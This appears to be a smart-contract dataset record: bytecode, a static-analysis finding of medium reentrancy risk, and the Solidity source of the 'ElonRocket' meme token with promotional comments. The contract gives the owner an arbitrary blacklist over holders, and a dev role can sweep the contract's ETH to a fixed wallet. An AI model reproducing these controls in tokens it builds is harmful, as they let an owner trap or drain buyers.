f252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000828284019150811015611739576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6164642d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b61179181600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e9816004546116bc90919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611932578051825260208201915060208101905060208303925061190f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611994576040519150601f19603f3d011682016040523d82523d6000602084013e611999565b606091505b50915091508180156119d957506000815114806119d857508080602001905160208110156119c657600080fd5b81019080805190602001909291905050505b5b611a2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001806120f1602d913960400191505060405180910390fd5b5050505050565b6000828284039150811115611ab2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f64732d6d6174682d7375622d756e646572666c6f77000000000000000000000081525060200191505060405180910390fd5b92915050565b600080821480611ad55750828283850292508281611ad257fe5b04145b611b47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b6000808211611b5b57600080fd5b818381611b6457fe5b04905092915050565b606082826040516020018083805190602001908083835b60208310611ba75780518252602082019150602081019050602083039250611b84565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310611bf85780518252602082019150602081019050602083039250611bd5565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052905092915050565b600060608573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611d425780518252602082019150602081019050602083039250611d1f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611da4576040519150601f19603f3d011682016040523d82523d6000602084013e611da9565b606091505b5091509150818015611de95750600081511480611de85750808060200190516020811015611dd657600080fd5b81019080805190602001909291905050505b5b611e3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061202a6031913960400191505060405180910390fd5b505050505050565b611e5b816003546116bc90919063ffffffff16565b600381905550611eb381600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611fa157805160ff1916838001178555611fcf565b82800160010185558215611fcf579182015b82811115611fce578251825591602001919060010190611fb3565b5b509050611fdc9190611fe0565b5090565b61200291905b80821115611ffe576000816000905550600101611fe6565b5090565b9056fe486f646c65725f77697468647261773a207a65726f2061737365742077697468647261775472616e7366657248656c7065723a3a7472616e7366657246726f6d3a207472616e7366657246726f6d206661696c6564486f646c65725f77697468647261773a207a65726f20746f6b656e207769746864726177486f646c65725f696e697469616c697a653a20616c726561647920696e697469616c697a6564486f646c65725f4465706f7369743a207a65726f206173736574206465706f736974486f646c65725f4465706f7369743a2066696e616c206465706f736974206f7574206f662072616e67655472616e7366657248656c7065723a3a736166655472616e736665723a207472616e73666572206661696c6564a2646970667358221220e807298b251c4eb4c3b1b2d2ed809d8491add42f8323f41cb4a170aee2c5d34764736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,578
0x55920f1111e9965897ae2f599af5b2b1d36a6ba0
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ /** *Submitted for verification at Etherscan.io on 2022-04-10 */ /** 🚀Elon Rocket 🚀 🚀Prepare for take-off. 🚀 👨‍🚀Embark on a MEME-journey you won’t forget. Based tokenomics, marketing line-up and anti-bots👨‍🚀 🌓We will reach the Elon himself with our agressive Twitter marketing🌓 Tg: https://t.me/elonrocketerc Website: https://www.elonrocket.net/ */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; _dev = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyDev() { require(_dev == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonRocket is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; uint256 private _feeRate = 20; string private constant _name = "ElonRocket"; string private constant _symbol = "ElonRocket"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xE7446eFb69374BBddf671eF4c9bb86aF1D7f0702); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if(from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { _feeAddr1 = 0; _feeAddr2 = 7; } else if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 9; } else { _feeAddr1 = 0; _feeAddr2 = 0; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external onlyDev() { require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1500000000 * 10**9; _maxWalletSize = 3000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyDev { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external onlyDev { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external onlyDev { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103af578063a9059cbb146103da578063b87f137a14610417578063c3c8cd8014610440578063c9567bf914610457578063dd62ed3e1461046e57610135565b80636fc3eaec1461030257806370a0823114610319578063715018a614610356578063751039fc1461036d5780638da5cb5b1461038457610135565b8063273123b7116100f2578063273123b714610233578063313ce5671461025c57806345596e2e146102875780635932ead1146102b0578063677daa57146102d957610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806321bbcbb1146101cd57806323b872dd146101f657610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ab565b60405161015c9190612b76565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612c40565b6104e8565b6040516101999190612c9b565b60405180910390f35b3480156101ae57600080fd5b506101b7610506565b6040516101c49190612cc5565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612e28565b610517565b005b34801561020257600080fd5b5061021d60048036038101906102189190612e71565b610779565b60405161022a9190612c9b565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612ec4565b610852565b005b34801561026857600080fd5b50610271610944565b60405161027e9190612f0d565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a99190612f28565b61094d565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612f81565b6109fc565b005b3480156102e557600080fd5b5061030060048036038101906102fb9190612f28565b610aae565b005b34801561030e57600080fd5b50610317610b88565b005b34801561032557600080fd5b50610340600480360381019061033b9190612ec4565b610c30565b60405161034d9190612cc5565b60405180910390f35b34801561036257600080fd5b5061036b610c81565b005b34801561037957600080fd5b50610382610dd4565b005b34801561039057600080fd5b50610399610e8b565b6040516103a69190612fbd565b60405180910390f35b3480156103bb57600080fd5b506103c4610eb4565b6040516103d19190612b76565b60405180910390f35b3480156103e657600080fd5b5061040160048036038101906103fc9190612c40565b610ef1565b60405161040e9190612c9b565b60405180910390f35b34801561042357600080fd5b5061043e60048036038101906104399190612f28565b610f0f565b005b34801561044c57600080fd5b50610455610fe9565b005b34801561046357600080fd5b5061046c611099565b005b34801561047a57600080fd5b5061049560048036038101906104909190612fd8565b6115b9565b6040516104a29190612cc5565b60405180910390f35b60606040518060400160405280600a81526020017f456c6f6e526f636b657400000000000000000000000000000000000000000000815250905090565b60006104fc6104f5611640565b8484611648565b6001905092915050565b600068056bc75e2d63100000905090565b61051f611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a390613064565b60405180910390fd5b60005b8151811015610775573073ffffffffffffffffffffffffffffffffffffffff168282815181106105e2576105e1613084565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156106765750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061065557610654613084565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156106ea5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106106c9576106c8613084565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156107625760016007600084848151811061070857610707613084565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061076d906130e2565b9150506105af565b5050565b6000610786848484611811565b61084784610792611640565b61084285604051806060016040528060288152602001613b1960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f8611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120719092919063ffffffff16565b611648565b600190509392505050565b61085a611640565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e090613064565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610955611640565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109db90613064565b60405180910390fd5b60318111156109f257600080fd5b80600e8190555050565b610a04611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8890613064565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b610ab6611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3a90613064565b60405180910390fd5b60008111610b5057600080fd5b610b7f6064610b718368056bc75e2d631000006120d590919063ffffffff16565b61214f90919063ffffffff16565b60118190555050565b610b90611640565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690613064565b60405180910390fd5b6000479050610c2d81612199565b50565b6000610c7a600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612205565b9050919050565b610c89611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90613064565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ddc611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090613064565b60405180910390fd5b68056bc75e2d6310000060118190555068056bc75e2d63100000601281905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f456c6f6e526f636b657400000000000000000000000000000000000000000000815250905090565b6000610f05610efe611640565b8484611811565b6001905092915050565b610f17611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90613064565b60405180910390fd5b60008111610fb157600080fd5b610fe06064610fd28368056bc75e2d631000006120d590919063ffffffff16565b61214f90919063ffffffff16565b60128190555050565b610ff1611640565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611080576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107790613064565b60405180910390fd5b600061108b30610c30565b905061109681612273565b50565b6110a1611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461112e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112590613064565b60405180910390fd5b601060149054906101000a900460ff161561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613176565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061120e30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000611648565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611259573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127d91906131ab565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130891906131ab565b6040518363ffffffff1660e01b81526004016113259291906131d8565b6020604051808303816000875af1158015611344573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136891906131ab565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113f130610c30565b6000806113fc610e8b565b426040518863ffffffff1660e01b815260040161141e96959493929190613246565b60606040518083038185885af115801561143c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061146191906132bc565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506714d1120d7b1600006011819055506729a2241af62c00006012819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161157292919061330f565b6020604051808303816000875af1158015611591573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b5919061334d565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae906133ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171d9061347e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118049190612cc5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611880576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187790613510565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e6906135a2565b60405180910390fd5b60008111611932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192990613634565b60405180910390fd5b61193a610e8b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119a85750611978610e8b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561206157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a515750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a5a57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b055750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b5b5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b735750601060179054906101000a900460ff165b15611cb157601154811115611bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb4906136a0565b60405180910390fd5b60125481611bca84610c30565b611bd491906136c0565b1115611c15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0c90613762565b60405180910390fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c6057600080fd5b601e42611c6d91906136c0565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d5c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611db25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dcc576000600b819055506007600c81905550611ef9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561